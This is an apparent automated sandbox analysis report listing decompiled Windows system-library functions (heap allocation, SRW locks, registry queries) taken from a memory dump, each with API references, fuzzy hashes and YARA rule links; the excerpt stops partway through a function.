Opcode Fuzzy Hash: b4282c10171d0c882103889aa1f6ec3692dd417e49b1cf2b2195b08381a03da3
Instruction Fuzzy Hash: 892144B154420DBFD711CF99C880E96FBB8FF49348F10856AE64497241D771E966CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D6652, Relevance: 6.1, APIs: 4, Instructions: 74
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6D2D6652(void* __ecx, void* __edx) {
				signed char _t23;
				void* _t35;
				void* _t37;
				void* _t42;

				_push(__ecx);
				_t42 = __ecx;
				_t35 = __edx;
				if(__ecx != 0) {
					_t23 =  *0x6d336db0;
					_t45 = 0xc0000001;
					if(_t23 != 0) {
						if((_t23 & 0x00000001) != 0 &&  *(__ecx + 0x14) != 0) {
							_push( *(__ecx + 0x14));
							E6D2895D0();
							 *(__ecx + 0x14) =  *(__ecx + 0x14) & 0x00000000;
							_t45 = 0;
							_t23 =  *0x6d336db0;
						}
						if((_t23 & 0x00000006) != 0) {
							if( *(_t42 + 0x10) == 0 ||  *(_t42 + 0x10) == 0xffffffff || (_t23 & 0x00000004) != 0 || (_t23 & 0x00000002) == 0 || _t35 == 0) {
								L16:
								_t45 = 0;
							} else {
								_t45 = 0xc0000019;
								if( *((intOrPtr*)(_t42 + 0x1c)) != 0xc0000019) {
									_t37 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8,  *(_t42 + 0x18));
									if(_t37 != 0) {
										memcpy(_t37,  *(_t42 + 0x10) & 0xfffffffc,  *(_t42 + 0x18));
										_push( *(_t42 + 0x10) & 0xfffffffc);
										_push(0xffffffff);
										E6D2897A0();
										 *((intOrPtr*)(_t42 + 0x1c)) = 0xc0000019;
										 *(_t42 + 0x10) = _t37 | 0x00000001;
										goto L16;
									} else {
										_t45 = 0xffffffffc0000017;
									}
								}
							}
						}
					}
				} else {
					_t45 = 0xc000000d;
				}
				return _t45;
			}

0x6d2d6657
0x6d2d665b
0x6d2d665d
0x6d2d6661
0x6d2d666d
0x6d2d6672
0x6d2d6679
0x6d2d6681
0x6d2d6689
0x6d2d668c
0x6d2d6691
0x6d2d6695
0x6d2d6697
0x6d2d6697
0x6d2d669e
0x6d2d66a4
0x6d2d670a
0x6d2d670a
0x6d2d66b8
0x6d2d66b8
0x6d2d66c0
0x6d2d66d5
0x6d2d66d9
0x6d2d66eb
0x6d2d66f9
0x6d2d66fa
0x6d2d66fc
0x6d2d6704
0x6d2d6707
0x00000000
0x6d2d66db
0x6d2d66db
0x6d2d66db
0x6d2d66d9
0x6d2d66c0
0x6d2d66a4
0x6d2d669e
0x6d2d6663
0x6d2d6663
0x6d2d6663
0x6d2d6714

APIs

ZwClose.1105(00000000,00000000,00000000,00000000,?,?,6D2BB381,00000001,6D33861C,6D320268,00000020,6D25BE44,?,00000000,?,00000001), ref: 6D2D668C
RtlAllocateHeap.1105(?,00000008,?,00000000,00000000,00000000,?,?,6D2BB381,00000001,6D33861C,6D320268,00000020,6D25BE44,?,00000000), ref: 6D2D66D0

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateCloseHeap
String ID:
API String ID: 3565931908-0
Opcode ID: af72865111da24e2a1626267800a0d690c316b9080c90dc212cba102f36bdcf4
Instruction ID: 757796dfbd97ec63217df2962fc69ced860c2da4dbcc57c8816146ea7138bf1b
Opcode Fuzzy Hash: af72865111da24e2a1626267800a0d690c316b9080c90dc212cba102f36bdcf4
Instruction Fuzzy Hash: 8E21A871A8471F6BE7514E689880762B774FB1237BF110325ED30935D1C776E8A1C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6D283EE4, Relevance: 6.1, APIs: 4, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E6D283EE4(void* __ecx, void* __edx) {
				char _v8;
				char _v20;
				void* _t51;
				intOrPtr* _t55;
				void* _t57;

				if( *0x6d338644 != 0) {
					L4:
					return 1;
				}
				_t57 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x28);
				if(_t57 == 0) {
					L7:
					return 0;
				}
				if(E6D283FA0( &_v8, 0x6d3365d4,  &_v20) < 0) {
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
					goto L7;
				}
				_t55 =  *((intOrPtr*)(_v8 + 0x10)) + _v8;
				_t51 =  *_t55 + _t55;
				 *((short*)(_t57 + 8)) =  *((intOrPtr*)(_t51 + 0x18));
				 *((short*)(_t57 + 0xc)) =  *((intOrPtr*)(_t51 + 0x16));
				 *((short*)(_t57 + 0xa)) =  *((intOrPtr*)(_t51 + 0x20));
				 *((short*)(_t57 + 0x24)) =  *((intOrPtr*)(_t51 + 0x1a));
				 *((intOrPtr*)(_t57 + 0x10)) =  *((intOrPtr*)(_t51 + 0x1c)) + _t55;
				 *((intOrPtr*)(_t57 + 0x14)) =  *((intOrPtr*)(_t51 + 0x24)) + _t55;
				 *((intOrPtr*)(_t57 + 0x18)) =  *((intOrPtr*)(_t51 + 0x28)) + _t55;
				 *((intOrPtr*)(_t57 + 0x1c)) =  *((intOrPtr*)(_t51 + 0x38)) + _t55;
				asm("lock cmpxchg [edx], ecx");
				if(0 != 0) {
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
				}
				goto L4;
			}

0x6d283ef4
0x6d283f91
0x00000000
0x6d283f91
0x6d283f0c
0x6d283f10
0x6d2be7d8
0x00000000
0x6d2be7d8
0x6d283f2a
0x6d2be7d3
0x00000000
0x6d2be7d3
0x6d283f36
0x6d283f3a
0x6d283f40
0x6d283f48
0x6d283f50
0x6d283f58
0x6d283f61
0x6d283f69
0x6d283f71
0x6d283f80
0x6d283f85
0x6d283f8b
0x6d2be7eb
0x6d2be7eb
0x00000000

APIs

RtlAllocateHeap.1105(?,00000008,00000028,?,?,6D2A8546), ref: 6D283F07
RtlGetLocaleFileMappingAddress.1105(00000000,6D3365D4,6D2A8546,?,00000008,00000028,?,?,6D2A8546), ref: 6D283F23

Part of subcall function 6D283FA0: ZwInitializeNlsFiles.1105(00000028,00000008,?,?,?,00000000,?,6D283F28,00000000,6D3365D4,6D2A8546,?,00000008,00000028,?), ref: 6D283FCD

RtlFreeHeap.1105(?,00000000,00000000,00000000,6D3365D4,6D2A8546,?,00000008,00000028,?,?,6D2A8546), ref: 6D2BE7D3
RtlFreeHeap.1105(?,00000000,00000000,00000000,6D3365D4,6D2A8546,?,00000008,00000028,?,?,6D2A8546), ref: 6D2BE7EB

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$AddressAllocateFileFilesInitializeLocaleMapping
String ID:
API String ID: 1831200515-0
Opcode ID: 5fd6f22b97be1336e94755b90d6d6bfd4245d5fa88eb34622d6cda899c665818
Instruction ID: 1b8e283d809c96e908dc366fea8f005febfd03bb7fd7b8db7a940aa5f8036bc4
Opcode Fuzzy Hash: 5fd6f22b97be1336e94755b90d6d6bfd4245d5fa88eb34622d6cda899c665818
Instruction Fuzzy Hash: 3D21CC79681A459FC725DF28C940B56B7F5FF18708F1488A8E909CBB62E330E846CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6D24519E, Relevance: 6.1, APIs: 4, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E6D24519E(struct _EXCEPTION_RECORD __ecx) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _t17;
				signed int _t18;
				char _t27;
				signed short _t32;
				struct _EXCEPTION_RECORD _t34;
				void* _t35;

				_t34 = __ecx;
				_t27 = 0;
				_t29 = 0;
				_t35 = E6D2452A5(0);
				if(_t35 == 0) {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_v12 =  *((intOrPtr*)(_t29 + 0x24));
					_t17 =  *((intOrPtr*)(_t29 + 0x28));
				} else {
					_v12 =  *((intOrPtr*)(_t35 + 0xc));
					_t17 =  *((intOrPtr*)(_t35 + 0x10));
				}
				_t32 = _v12;
				_v8 = _t17;
				_t18 =  *_t34 & 0x0000ffff;
				if(_t32 <= 6) {
					if(_t32 != _t18) {
						goto L4;
					}
					goto L10;
				} else {
					_t29 = (_t32 & 0x0000ffff) - 2;
					if((_t32 & 0x0000ffff) - 2 == _t18) {
						_v12 = _t32 + 0xfffe;
						L10:
						_t18 = RtlEqualUnicodeString( &_v12, _t34, 1);
						if(_t18 != 0) {
							_t27 = 1;
						}
					}
					L4:
					if(_t35 == 0) {
						E6D25EB70(_t29, 0x6d3379a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t18 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t35 + 4)));
							E6D2895D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t35);
						}
					}
					return _t27;
				}
			}

0x6d2451a9
0x6d2451ab
0x6d2451ad
0x6d2451b4
0x6d2451b8
0x6d2a0c9c
0x6d2a0ca2
0x6d2a0ca5
0x6d2451be
0x6d2451c1
0x6d2451c4
0x6d2451c4
0x6d2451c7
0x6d2451cb
0x6d2451ce
0x6d2451d5
0x6d2a0cbe
0x00000000
0x00000000
0x00000000
0x6d2451db
0x6d2451de
0x6d2451e3
0x6d2a0cb5
0x6d2a0cc4
0x6d2a0ccb
0x6d2a0cd2
0x6d2a0cd8
0x6d2a0cd8
0x6d2a0cd2
0x6d2451e9
0x6d2451eb
0x6d2a0ce4
0x6d2451f1
0x6d2451f4
0x6d2451f8
0x6d2a0cee
0x6d2a0cf1
0x6d2a0d03
0x6d2a0d03
0x6d2451f8
0x6d245206
0x6d245206

APIs

Part of subcall function 6D2452A5: RtlEnterCriticalSection.1105(6D3379A0,?,00000000,?), ref: 6D2452BF
Part of subcall function 6D2452A5: RtlLeaveCriticalSection.1105(6D3379A0,6D3379A0,?,00000000,?), ref: 6D2452DD

RtlEqualUnicodeString.1105(?,?,00000001,?,?,?), ref: 6D2A0CCB
RtlLeaveCriticalSection.1105(6D3379A0,?,?,?), ref: 6D2A0CE4

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$EnterEqualStringUnicode
String ID:
API String ID: 4283003422-0
Opcode ID: 6210c250887193b7cae86252f0192db97081c599d9164fff31c0628fd96821da
Instruction ID: bd5568fa8240749538a067c9ef1628ed783ec03c4449959b394ec34f815cac41
Opcode Fuzzy Hash: 6210c250887193b7cae86252f0192db97081c599d9164fff31c0628fd96821da
Instruction Fuzzy Hash: 251133319D120EABCB259F29C650BBABBE6FF46710F16412AE89993680D731C841C760

Uniqueness

Uniqueness Score: -1.00%

Function 6D24A745, Relevance: 6.0, APIs: 4, Instructions: 46
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6D24A745(void* __ebx, void* __ecx, void* __edx, void* __edi) {
				signed int _v12;
				void* __esi;
				signed int _t9;
				intOrPtr* _t12;
				char _t19;
				void* _t23;
				intOrPtr* _t28;
				intOrPtr _t30;
				void* _t32;
				void* _t34;
				void* _t35;
				signed int _t37;

				_push(__ecx);
				_t34 = __ecx;
				_t9 = E6D262280( *0x6d3384cc + 0x18,  *0x6d3384cc + 0x18);
				asm("lock xadd [esi+0x14], eax");
				if((_t9 | 0xffffffff) == 1) {
					_t2 = _t34 + 8; // 0x8
					_t12 = _t2;
					_t30 =  *_t12;
					if( *((intOrPtr*)(_t30 + 4)) != _t12) {
						L7:
						asm("int 0x29");
						_t32 = 3;
						_pop(_t35);
						_pop(_t23);
						return E6D28B640(0xc00000f0, _t23, _v12 ^ _t37, _t30, _t32, _t35);
					} else {
						_t28 =  *((intOrPtr*)(_t12 + 4));
						if( *_t28 != _t12) {
							goto L7;
						} else {
							 *_t28 = _t30;
							 *((intOrPtr*)(_t30 + 4)) = _t28;
							E6D25FFB0(__ebx, __edi,  *0x6d3384cc + 0x18);
							_t19 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t34);
							goto L2;
						}
					}
				} else {
					_t19 = E6D25FFB0(__ebx, __edi,  *0x6d3384cc + 0x18);
					L2:
					return _t19;
				}
			}

0x6d24a74a
0x6d24a754
0x6d24a757
0x6d24a75f
0x6d24a765
0x6d2a440f
0x6d2a440f
0x6d2a4412
0x6d2a4417
0x6d2a4449
0x6d2a444c
0x6d24a86a
0x6d24a86b
0x6d24a86e
0x6d24a877
0x6d2a4419
0x6d2a4419
0x6d2a441e
0x00000000
0x6d2a4420
0x6d2a4428
0x6d2a442b
0x6d2a442e
0x6d2a443f
0x00000000
0x6d2a443f
0x6d2a441e
0x6d24a76b
0x6d24a774
0x6d24a779
0x6d24a77d
0x6d24a77d

APIs

RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,6D27DFD8,00000000,?,?,?,?,?,6D243DAD,?,00000000,6D31F4D0,00000084), ref: 6D24A757
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6D27DFD8,00000000,?,?,?,?,?,6D243DAD,?,00000000,6D31F4D0), ref: 6D24A774
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6D27DFD8,00000000,?,?,?,?,?,6D243DAD,?,00000000,6D31F4D0), ref: 6D2A442E
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,6D27DFD8,00000000,?,?,?,?,?,6D243DAD), ref: 6D2A443F

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap
String ID:
API String ID: 2563869513-0
Opcode ID: 9b557b28a347d9b53373b8b67ff12e9e2f4c6c44096874538787f8dfdd1d1f4c
Instruction ID: 31014d6790fc8cfa0c491866410e7830df18c1a92a91d6b69c6749a6bdd07966
Opcode Fuzzy Hash: 9b557b28a347d9b53373b8b67ff12e9e2f4c6c44096874538787f8dfdd1d1f4c
Instruction Fuzzy Hash: BB018471195206ABC3219B2DD900F1677BCEB46719F46C17AE508CB651DB24D841C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 6D280E21, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106
memoryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D280E21(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _v60;
				intOrPtr* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				long _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr* _v104;
				intOrPtr* _t41;
				intOrPtr* _t48;
				void* _t49;
				long _t53;
				signed int _t55;
				void* _t58;
				intOrPtr* _t59;
				void* _t60;
				intOrPtr _t64;
				intOrPtr* _t65;
				intOrPtr* _t66;
				intOrPtr* _t67;
				intOrPtr _t68;
				void* _t71;
				intOrPtr* _t72;
				long _t74;
				void* _t75;
				signed int _t79;
				signed int _t81;

				_t68 = __edx;
				_t81 = (_t79 & 0xfffffff8) - 0x5c;
				_v8 =  *0x6d33d360 ^ _t81;
				_t41 = _a4;
				 *_t81 = _t41;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				if(_t41 == 0) {
					L23:
					_t74 = 0xc000000d;
					goto L10;
				} else {
					_t74 = 0;
					 *_t41 = 0;
					if(__edx == 0) {
						goto L23;
					} else {
						_t72 = __edx + 4;
						_t59 =  *_t72;
						while(_t59 != _t72) {
							_t67 = _t59 - 8;
							if( *_t67 != 0x74736c46) {
								_v72 = 1;
								_v68 = 1;
								_v88 = 1;
								_push( &_v92);
								_v84 = _t74;
								_v76 = 4;
								_v64 = _t72;
								_v60 = _t67;
								_v92 = 0xc0150015;
								E6D29DEF0(_t67, _t68);
								_t67 = _t59 - 8;
							}
							if( *(_t67 + 4) == 0x20) {
								L22:
								_t59 =  *_t59;
								_push(1);
								_pop(1);
								continue;
							} else {
								_t53 = _t74;
								_t68 = _t67;
								while(( *(_t68 + 0x20) & 0x00000004) == 0) {
									_t53 = _t53 + 1;
									_t68 = _t68 + 0x30;
									if(_t53 < 0x20) {
										continue;
									} else {
										goto L22;
									}
									goto L24;
								}
								_t55 =  *(_t67 + 4) + 1;
								 *(_t67 + 4) = _t55;
								 *(_t67 + 0x14) =  !_t55;
								_t12 = _t68 + 0x18; // 0x100000016
								_t64 = _t12;
								if(_t64 == 0) {
									goto L22;
								} else {
									L9:
									 *((intOrPtr*)(_t64 + 8)) = 8;
									 *_v104 = _t64;
									L10:
									_pop(_t71);
									_pop(_t75);
									_pop(_t58);
									return E6D28B640(_t74, _t58, _v8 ^ _t81, _t68, _t71, _t75);
								}
							}
							goto L24;
						}
						_t60 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t74, 0x618);
						if(_t60 == 0) {
							_t74 = 0xc0000017;
							goto L10;
						} else {
							L18();
							 *((intOrPtr*)(_t60 + 4)) = 1;
							_t18 = _t60 + 0x18; // 0x18
							_t64 = _t18;
							 *((intOrPtr*)(_t60 + 0x14)) = 0xfffffffe;
							_t48 = _t60 + 8;
							_t68 =  *_t72;
							if( *((intOrPtr*)(_t68 + 4)) != _t72) {
								_t65 = 3;
								asm("int 0x29");
								 *_t65 = 0x74736c46;
								 *((intOrPtr*)(_t65 + 0x10)) = 0;
								_t66 = _t65 + 0x1c;
								_t49 = 0x20;
								do {
									 *((intOrPtr*)(_t66 - 4)) = 0;
									 *_t66 = 0;
									_t66 = _t66 + 0x30;
									 *((intOrPtr*)(_t66 - 0x2c)) = 0xc;
									 *((intOrPtr*)(_t66 - 0x28)) = 0;
									_t49 = _t49 - 1;
								} while (_t49 != 0);
								return _t49;
							} else {
								 *_t48 = _t68;
								 *((intOrPtr*)(_t48 + 4)) = _t72;
								 *((intOrPtr*)(_t68 + 4)) = _t48;
								 *_t72 = _t48;
								goto L9;
							}
						}
					}
				}
				L24:
			}

0x6d280e21
0x6d280e29
0x6d280e33
0x6d280e37
0x6d280e3a
0x6d280e3d
0x6d280e3e
0x6d280e3f
0x6d280e42
0x6d2bcc6f
0x6d2bcc6f
0x00000000
0x6d280e48
0x6d280e48
0x6d280e4a
0x6d280e4e
0x00000000
0x6d280e54
0x6d280e54
0x6d280e59
0x6d280e5c
0x6d280e60
0x6d280e69
0x6d2bcc2b
0x6d2bcc2f
0x6d2bcc33
0x6d2bcc3b
0x6d2bcc3c
0x6d2bcc40
0x6d2bcc48
0x6d2bcc4c
0x6d2bcc50
0x6d2bcc58
0x6d2bcc5d
0x6d2bcc5d
0x6d280e73
0x6d2bcc65
0x6d2bcc65
0x6d2bcc67
0x6d2bcc69
0x00000000
0x6d280e79
0x6d280e79
0x6d280e7b
0x6d280e7d
0x6d280ebd
0x6d280ebe
0x6d280ec4
0x00000000
0x6d280ec6
0x00000000
0x6d280ec6
0x00000000
0x6d280ec4
0x6d280e86
0x6d280e87
0x6d280e8c
0x6d280e8f
0x6d280e8f
0x6d280e94
0x00000000
0x6d280e9a
0x6d280e9a
0x6d280e9e
0x6d280ea5
0x6d280ea7
0x6d280ead
0x6d280eae
0x6d280eaf
0x6d280eba
0x6d280eba
0x6d280e94
0x00000000
0x6d280e73
0x6d280edf
0x6d280ee3
0x6d280f13
0x00000000
0x6d280ee5
0x6d280ee7
0x6d280eec
0x6d280ef3
0x6d280ef3
0x6d280ef6
0x6d280efd
0x6d280f00
0x6d280f05
0x6d280f1c
0x6d280f1d
0x6d280f21
0x6d280f29
0x6d280f2c
0x6d280f2f
0x6d280f30
0x6d280f30
0x6d280f33
0x6d280f35
0x6d280f38
0x6d280f3f
0x6d280f42
0x6d280f42
0x6d280f47
0x6d280f07
0x6d280f07
0x6d280f09
0x6d280f0c
0x6d280f0f
0x00000000
0x6d280f0f
0x6d280f05
0x6d280ee3
0x6d280e4e
0x00000000

APIs

RtlAllocateHeap.1105(?,00000000,00000618,?,?), ref: 6D280EDA
RtlRaiseException.1105 ref: 6D2BCC58

Strings

Flst, xrefs: 6D280E63

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionHeapRaise
String ID: Flst
API String ID: 3789339297-2374792617
Opcode ID: ae676d6d2c9860bbccd32f7c0240d9d85b628227e702a9e4d6ca948966c5480d
Instruction ID: 88e62fd7a163dc0a3944941c3a670c38824ec19e4f9a703c7627a59984837184
Opcode Fuzzy Hash: ae676d6d2c9860bbccd32f7c0240d9d85b628227e702a9e4d6ca948966c5480d
Instruction Fuzzy Hash: 5641C0B0655306CFD305CF19C280A26FBE4FB99B54F10856EE565CB282D771C845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D2C3971, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75
nativeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D2C3971(void* __ebx, void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v12;
				char _v544;
				char* _v548;
				short _v550;
				char _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				char* _v568;
				intOrPtr _v572;
				char _v576;
				char _v580;
				char* _v584;
				char _v588;
				void* __edi;
				void* __esi;
				void* _t35;
				short _t40;
				void* _t45;
				intOrPtr _t52;
				char* _t53;
				signed int _t54;

				_t51 = __edx;
				_t45 = __ebx;
				_v12 =  *0x6d33d360 ^ _t54;
				_v588 = 0xa200a0;
				_v584 = L"\\Registry\\Machine\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\StateChange";
				_t52 = _a4;
				if(__ecx != 0xc0000462) {
					_t53 = 0;
					_v568 =  &_v588;
					_push(0);
					_push( &_v576);
					_push(0x20019);
					goto L6;
				} else {
					_t35 = E6D2C3BD3( &_v544, 0x20a, L"\\Registry\\Machine\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\StateChange\\PackageList\\%ws", __edx);
					_t47 = _t35;
					if(_t35 >= 0) {
						_v552 = 0;
						_t53 = 0;
						_v548 = 0;
						_t47 = E6D2C3C0B( &_v544,  &_v580);
						if(_t47 >= 0) {
							_t40 = _v580 + _v580;
							_v552 = _t40;
							_v550 = _t40 + 2;
							_v548 =  &_v544;
							if(_t47 >= 0) {
								_v568 =  &_v552;
								_push(0);
								_push( &_v576);
								_push(0x20119);
								L6:
								_push(_t52);
								_v576 = 0x18;
								_v572 = _t53;
								_v564 = 0x40;
								_v560 = _t53;
								_v556 = _t53;
								_t47 = E6D28A690();
							}
						}
					}
				}
				return E6D28B640(_t47, _t45, _v12 ^ _t54, _t51, _t52, _t53);
			}

0x6d2c3971
0x6d2c3971
0x6d2c3983
0x6d2c3986
0x6d2c3990
0x6d2c399c
0x6d2c39a5
0x6d2c3a45
0x6d2c3a47
0x6d2c3a53
0x6d2c3a54
0x6d2c3a55
0x00000000
0x6d2c39ab
0x6d2c39bd
0x6d2c39c2
0x6d2c39c9
0x6d2c39d7
0x6d2c39dd
0x6d2c39e5
0x6d2c39f1
0x6d2c39f5
0x6d2c3a01
0x6d2c3a03
0x6d2c3a0d
0x6d2c3a1a
0x6d2c3a22
0x6d2c3a2a
0x6d2c3a36
0x6d2c3a37
0x6d2c3a38
0x6d2c3a5a
0x6d2c3a5a
0x6d2c3a5b
0x6d2c3a65
0x6d2c3a6b
0x6d2c3a75
0x6d2c3a7b
0x6d2c3a86
0x6d2c3a86
0x6d2c3a22
0x6d2c39f5
0x6d2c39c9
0x6d2c3a99

APIs

ZwOpenKeyEx.1105(00000000,00020019,?,00000000,?,00000000), ref: 6D2C3A81

Strings

\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\AppModel\StateChange, xrefs: 6D2C3990
\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\AppModel\StateChange\PackageList\%ws, xrefs: 6D2C39AC

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Open
String ID: \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\AppModel\StateChange$\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\AppModel\StateChange\PackageList\%ws
API String ID: 71445658-2362267023
Opcode ID: aa5f32928cb7b3fd5f991c91feadae7bd0f5565b80e76b77770644ea66d2ddda
Instruction ID: 736a86aab12d1fab47bc84fd0424ed327657ca50e0f911e48cb3dace08864970
Opcode Fuzzy Hash: aa5f32928cb7b3fd5f991c91feadae7bd0f5565b80e76b77770644ea66d2ddda
Instruction Fuzzy Hash: EE315E71A4122CAACB64DF549C88BDEBBB8FF08310F0001EAE50DA3200DB349F858F95

Uniqueness

Uniqueness Score: -1.00%

Function 6D2466D4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
nativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E6D2466D4(void* __ecx, WCHAR* __edx, signed int* _a4) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				void* _v40;
				void* __edi;
				void* __esi;
				void* _t20;
				signed int* _t25;
				void* _t26;
				signed int _t27;

				_t24 = __edx;
				_v8 =  *0x6d33d360 ^ _t27;
				_t25 = _a4;
				_t26 = __ecx;
				 *_t25 =  *_t25 & 0x00000000;
				RtlInitUnicodeString( &_v40, __edx);
				_push( &_v32);
				_push(0x14);
				_push( &_v28);
				_push(2);
				_push( &_v40);
				_push(_t26);
				if(E6D289650() >= 0) {
					if(_v24 != 4 || _v20 != 4) {
						_t17 = 0xc0000001;
					} else {
						 *_t25 = _v16;
						_t17 = 0;
					}
				}
				return E6D28B640(_t17, _t20, _v8 ^ _t27, _t24, _t25, _t26);
			}

0x6d2466d4
0x6d2466e3
0x6d2466e8
0x6d2466f0
0x6d2466f2
0x6d2466f5
0x6d2466fd
0x6d2466fe
0x6d246703
0x6d246704
0x6d246709
0x6d24670a
0x6d246712
0x6d2a1a85
0x6d2a1a99
0x6d2a1a8d
0x6d2a1a90
0x6d2a1a92
0x6d2a1a92
0x6d2a1a85
0x6d246727

APIs

RtlInitUnicodeString.1105(?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6D2466F5
ZwQueryValueKey.1105(?,?,00000002,?,00000014,?,?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6D24670B

Strings

UBR, xrefs: 6D2466EE

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitQueryStringUnicodeValue
String ID: UBR
API String ID: 3766860702-3525060630
Opcode ID: db2c8ea1fff604da3e6b20beee90fe0d4f9f59aa1e184d03b38caac418796f41
Instruction ID: 0c36e8979c63917beb924903414d968410206c32803f032453ce03800c50229f
Opcode Fuzzy Hash: db2c8ea1fff604da3e6b20beee90fe0d4f9f59aa1e184d03b38caac418796f41
Instruction Fuzzy Hash: DA012C71A8410EAFDB01CA95C841AFFB3BCEB45725F118066EA01E7140D734AE45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D2F8DF1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E6D2F8DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
